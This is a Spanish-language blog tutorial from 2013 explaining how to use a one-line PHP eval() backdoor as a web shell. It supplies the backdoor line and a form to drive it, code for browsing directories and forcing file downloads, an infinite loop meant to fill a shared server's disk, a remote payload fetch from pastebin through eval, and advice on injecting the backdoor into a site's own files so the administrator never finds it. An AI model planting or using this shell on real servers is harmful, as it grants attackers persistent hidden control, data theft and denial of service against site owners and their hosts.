Paper Eval Shell

5
Introducción a las shells con eval(); blog.std-io.com 27/11/2013 Standard Input Output Harkonnen

Transcript of Paper Eval Shell

Page 1: Paper Eval Shell

Introducción a las shells con eval(); blog.std-io.com 27/11/2013 Standard Input Output Harkonnen

Page 2: Paper Eval Shell

Introducción

Hola, en este paper a pedido de mi amigo CrazyKade explicaré los fundamentos básicos de una

Shell basada en eval();

Esto surgió porque CrazyKade me preguntó cuál era la mejor Shell en php, o cual era la que

usaba yo, precisamente en ese momento acababa de demostrar como gracias a una función

agregada a mi bot, un usuario fermino que ejecutaba el bot, era vulnerable a serios problemas,

le demostré como podía instanciar por ejemplo Word, abrirlo, y escribir en él. Todo eso desde

un canal de IRC remotamente usando ibot v1.4. Luego también abrí el administrador de tareas,

el registro del sistema, y empezé a finalizar procesos.

Eval resulta una de las funciones más intrigantes de php, y en mi opinión la Shell perfecta sería:

<?php eval($_POST['query']);

Esa sola línea de código es un backdoor impresionante, la idea de este paper es demostrar a

cualquier lector, hasta qué punto llega a ser una gran Shell.

Comenzando

Para demostrar esto, subí un archivo .php que tiene esa simple sentencia a mi servidor de

pruebas, y comprobé su funcionalidad, ¿cómo? Simple.

La función eval tiene la cualidad de decirle al intérprete de php que interprete todo lo que esté

en la variable que se le pasa por parámetro (en este caso $_POST[‘query’]) como si se tratase

de parte del código.

Para poder empezar decidí crear un archivo .html con un formulario en el cual solo tenga un

botón y un textarea que envíe lo que queremos al archivo eval.php en mi servidor.

El código html sería el siguiente:

<form method="post" action="http://std-io.com/eval_tester/eval.php">

<textarea name="query"></textarea>

<input type="submit" value="enviar">

</form>

Este código lo puse en un archive door.html en mi escritorio.

Luego lo abrí con mi navegador preferido (chrome) y le escribí en el textarea echo ‘hola

mundo’;

Apreté enviar y resulta que acabo de ver que mi navegador muestra en esa url lo mismo que

mostraría un echo ‘hola mundo’;

Como verán puedo demostrar que mi php está ejecutando cualquier cosa que le mande.

Page 3: Paper Eval Shell

Poniéndonos rudos

Vamos a hacer algo un poco más interesante, vamos a volver para a tras y vamos a enviar

entonces ahora un echo getcwd(); y obtendremos por ejemplo la ruta en la que se encuentra

el archivo.

Volveremos para a tras y haremos un cd.. con chdir(‘..’); antes del echo getcwd(); y enviaremos

entonces esto:

Chdir(‘..’);

echo getcwd();

Como notarán retrocedimos un directorio, ahora si le agregamos

$obj = dir(getcwd());$list = null; while (false !== ($file = $obj->read())) $list .= ' < '.$file.' ><br/> ';

echo $list;

Veremos entonces la lista de archivos y directorios que hay en el directorio anterior:

Chdir('..');

$obj = dir(getcwd());$list = null; while (false !== ($file = $obj->read())) $list .= ' < '.$file.' ><br/> ';

echo $list;

echo getcwd();

Bueno ahora pueden navegar por los directorios agregando chdir .. o directamente la

ubicación a la que se quieran mover.

Pueden buscar en php.net más funciones para borrar archivos, carpetas, etc.

Lo bueno de esto es que pueden crear códigos a su gusto y ejecutarlos en el momento.

Descargando archivos

header("Content-type: application/octet-stream");

header("Content-Disposition: attachment; filename=\"archivo\"\n");

$fp=fopen(‘LOCATION’, "r");

fpassthru($fp);

Con este simple código ustedes pueden forzar la descarga de un archivo X lo único que tienen

que hacer es poner la dirección o Location del archivo en cuestión.

Ya entramos en calor

Ahora que ya entramos en calor, y creo que van captando la idea de que es posible ejecutar

código en php por más locos que sean, vamos a ponernos jodidos.

Con file_put_contents podemos crear archivos, ahora suponiendo que encontramos una

carpeta escribible nosotros podemos ponernos fieros fieros, obteniendo con por ejemplo

file_get_contents un archivo en el servidor que sea razonablemente pesado (un par de megas)

Page 4: Paper Eval Shell

y hacerlo escribir una y otra vez el mismo archivo con distintos nombres, un algoritmo sencillo,

pero que en un servidor compartido puede ser causa de ban por exceso de consumo de

recursos.

$numero=0;

$file = file_get_contents(‘Ubicación de archivo jodidamente pesado’);

While(true) // bucle infinito >:)

{

$numero++;

file_put_contents(‘virus’.$numero, $file);

}

Como veran hasta que el maxtime execution no se acabe crearemos y crearemos y crearemos

copias en la carpeta actual de un archive razonablemente pesado.

Interesante no?

Por otra parte una función conocida como system(); nos permite ejecutar cualquier comando

en la terminal del servidor y mostrar el resultado en pantalla.

Podemos hacer un dobleeval y decirle a eval que haga un eval a un archivo externo o a un

pastebin por ejemplo así:

eval(file_get_content(‘pastebin.com?raw.php=nasdnf’));

Otros usos

Algo interesante es que se puede crear una pequeña shell que register servidores infectados

con éste método e implemente una interfaz generando consultas directas a la página que tiene

el backdoor, desde otra ubicación, sin tener que así subir toda una shell, solo poniendo esto.

Además si mejoramos un cachitin el código original de la Shell podemos poner que si una

variable extra por get llamada key no tiene x valor no ejecute el eval, de modo que solo

funciona si sabemos la key.-

Además se tiene que tener en cuenta que el código de ésta Shell es muchísimo más chiquito

que cualquier otra Shell, y puede ser incluido en otro archivo de algún sistema con la misma

Shell, que quiero decir? Puedes subir esta Shell, y encontrar algún archivo importante del

sistema, entonces puedes decirle a esta Shell que lo edite y se agregue, si el administrador del

sitio no es muy perspicaz jamás encontrará el backdoor en el código del script que usa, porque

lo que menos se esperará es que su código o el del sistema que usa es la propia Shell, por lo

que de por vida o hasta que cambie el script seguirás teniendo el control del web.

Finalizando

Me voy a despedir, agradezco a todos los que lean este paper y espero que les agrade, en

realidad no es gran cosa, pero si sabes php, esto te puede ser muy muy muy útil, en vez de las

Page 5: Paper Eval Shell

shells que siempre se utilizan, ya que esto tiene mayor libertad.

Agradezco a CrazyKade por darme la idea, y espero que visiten seguido mi blog.std-io.com

donde todos los días publicamos nuevas entradas, con experimentos y cosas interesantes

relacionadas con la programación.

Un saludo cordial! Alexander E. R. – Alias: Harkonnen